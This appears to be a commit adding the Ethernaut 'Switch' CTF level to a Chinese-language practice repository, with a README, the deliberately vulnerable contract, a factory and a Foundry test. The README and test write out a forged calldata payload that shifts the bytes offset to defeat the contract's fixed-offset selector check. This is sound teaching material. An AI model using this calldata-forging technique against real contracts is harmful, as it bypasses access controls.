Merge pull request #23 from Big-Aaron/main

添加Ethernaut Switch题目

src/Ethernaut/Switch/README.md

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+# Switch
+
+## 题目描述
+
+[原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0xb2aBa0e156C905a9FAEc24805a009d99193E3E53)
+
+打开合约中的开关。turn Switch On
+
+## 运行
+
+根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后，于本项目下执行下列命令：
+
+```sh
+$ cd WTF-CTF
+
+$ forge test -C src/Ethernaut/Switch -vvvvv
+```
+
+## 功能简述
+
+本题主要涉及`EVM`中对于`bytes`类型的编码。
+
+`EVM`可以看作256位的虚拟机，每次取数据都取32字节(64个16进制位)数据。
+
+如果调用`Switch`合约以关闭开关，我们需要构造的`calldata`如下
+
+```hex
+0x30c13ade 																											 // flipSwitch(bytes)
+0000000000000000000000000000000000000000000000000000000000000020 // 位置信息
+0000000000000000000000000000000000000000000000000000000000000004 // 长度信息
+20606e1500000000000000000000000000000000000000000000000000000000 // turnSwitchOff()
+```
+
+`Switch`合约中的修饰器`onlyOff`通过查看`calldata`中的第68字节开始的4个字节的数据(即 20606e15)。来保证只能关闭开关。
+
+至于为什么只查看第68字节开始的4个字节的数据。是因为`EVM`在编码`bytes`动态类型的数据时，添加了位置和长度信息（而位置和长度信息默认是连续且分别占据32个字节）。位置信息表示长度信息所在位置（基于bytes变量的偏移量），长度信息表示内容所占字节数量（bytes内容紧接长度信息后）。
+
+而`Switch`合约中`flipSwitch`函数内部通过`call`调用自身函数时的`_data`是外部传入的，也就是说是可以伪造的。只需要保证伪造后`_data`的第68字节开始的4个字节是`turnSwitchOff()`的函数选择器即可。
+
+所以，我们构造如下的`calldata`
+
+```
+0x30c13ade                                                           // flipSwitch(bytes)
+0000000000000000000000000000000000000000000000000000000000000060     // 位置信息
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff     // 占位符, 内容无所谓，只需占32字节
+20606e1500000000000000000000000000000000000000000000000000000000     // turnSwitchOff()
+0000000000000000000000000000000000000000000000000000000000000004     // 长度信息
+76227e1200000000000000000000000000000000000000000000000000000000     // turnSwitchOn()
+```
+
+这样，保证了第68字节开始的4个字节是`turnSwitchOff()`的函数选择器。
+
+此外`EVM`在解码bytes变量时，首先找位置信息0x60，即bytes变量的长度在0x60的偏移量位置（即 6 * 16个字节，从0开始计数）。长度信息为0x04，（即 4个字节），内容为0x76227e12。
+
+通过伪造编码，骗过`Switch`合约对bytes类型的刻板编码印象。
+
+此外，可以阅读[Solidity Tutorial : all about Bytes](https://jeancvllr.medium.com/solidity-tutorial-all-about-bytes-9d88fdb22676)和[Solidity Tutorial: All About Calldata](https://betterprogramming.pub/solidity-tutorial-all-about-calldata-aebbe998a5fc)，获取更多关于bytes类型和calldata的内容。

src/Ethernaut/Switch/Switch.sol

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+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract Switch {
+    bool public switchOn; // switch is off
+    bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));
+
+    modifier onlyThis() {
+        require(msg.sender == address(this), "Only the contract can call this");
+        _;
+    }
+
+    modifier onlyOff() {
+        // we use a complex data type to put in memory
+        bytes32[1] memory selector;
+        // check that the calldata at position 68 (location of _data)
+        assembly {
+            calldatacopy(selector, 68, 4) // grab function selector from calldata
+        }
+
+        require(selector[0] == offSelector, "Can only call the turnOffSwitch function");
+        _;
+    }
+
+    function flipSwitch(bytes memory _data) public onlyOff {
+        (bool success,) = address(this).call(_data);
+        require(success, "call failed :(");
+    }
+
+    function turnSwitchOn() public onlyThis {
+        switchOn = true;
+    }
+
+    function turnSwitchOff() public onlyThis {
+        switchOn = false;
+    }
+}

src/Ethernaut/Switch/Switch.t.sol

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+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+import "./SwitchFactory.sol";
+
+contract SwitchTest is Test {
+    SwitchFactory factory;
+    address switchInstance;
+
+    function setUp() public {
+        factory = new SwitchFactory();
+        switchInstance = factory.createInstance(address(this));
+    }
+
+    function testSwitch() public {
+        bytes memory data = abi.encodeWithSelector(
+            bytes4(keccak256("flipSwitch(bytes)")), abi.encodeWithSelector(bytes4(keccak256("turnSwitchOff()")))
+        );
+        /**
+         * 0x30c13ade                                                           // selector of flipSwitch(bytes)
+         * 0000000000000000000000000000000000000000000000000000000000000020     // offset of _data
+         * 0000000000000000000000000000000000000000000000000000000000000004     // length of _data
+         * 20606e1500000000000000000000000000000000000000000000000000000000     // selector of turnSwitchOff()
+         */
+
+        (bool success, bytes memory err) = switchInstance.call(data);
+        if (!success) {
+            console.logBytes(err);
+        }
+        assertTrue(!Switch(switchInstance).switchOn());
+
+        /**
+         * 0x30c13ade                                                           // selector of flipSwitch(bytes)
+         * 0000000000000000000000000000000000000000000000000000000000000060     // offset of _data
+         * ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff     // placeholder, content doesn't matter, length is 32 bytes
+         * 20606e1500000000000000000000000000000000000000000000000000000000     // selector of turnSwitchOff()
+         * 0000000000000000000000000000000000000000000000000000000000000004     // length of _data
+         * 76227e1200000000000000000000000000000000000000000000000000000000     // selector of turnSwitchOn()
+         */
+        data =
+            hex"30c13ade0000000000000000000000000000000000000000000000000000000000000060ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff20606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000";
+        (success, err) = switchInstance.call(data);
+        if (!success) {
+            console.logBytes(err);
+        }
+        assertTrue(Switch(switchInstance).switchOn());
+
+        assertTrue(factory.validateInstance(payable(switchInstance), address(this)));
+    }
+}

src/Ethernaut/Switch/SwitchFactory.sol

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+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "../base/Level.sol";
+import "./Switch.sol";
+
+contract SwitchFactory is Level {
+    function createInstance(address _player) public payable override returns (address) {
+        _player;
+        Switch _switch = new Switch();
+        return address(_switch);
+    }
+
+    function validateInstance(address payable _instance, address _player) public view override returns (bool) {
+        _player;
+        Switch _switch = Switch(_instance);
+        return _switch.switchOn();
+    }
+}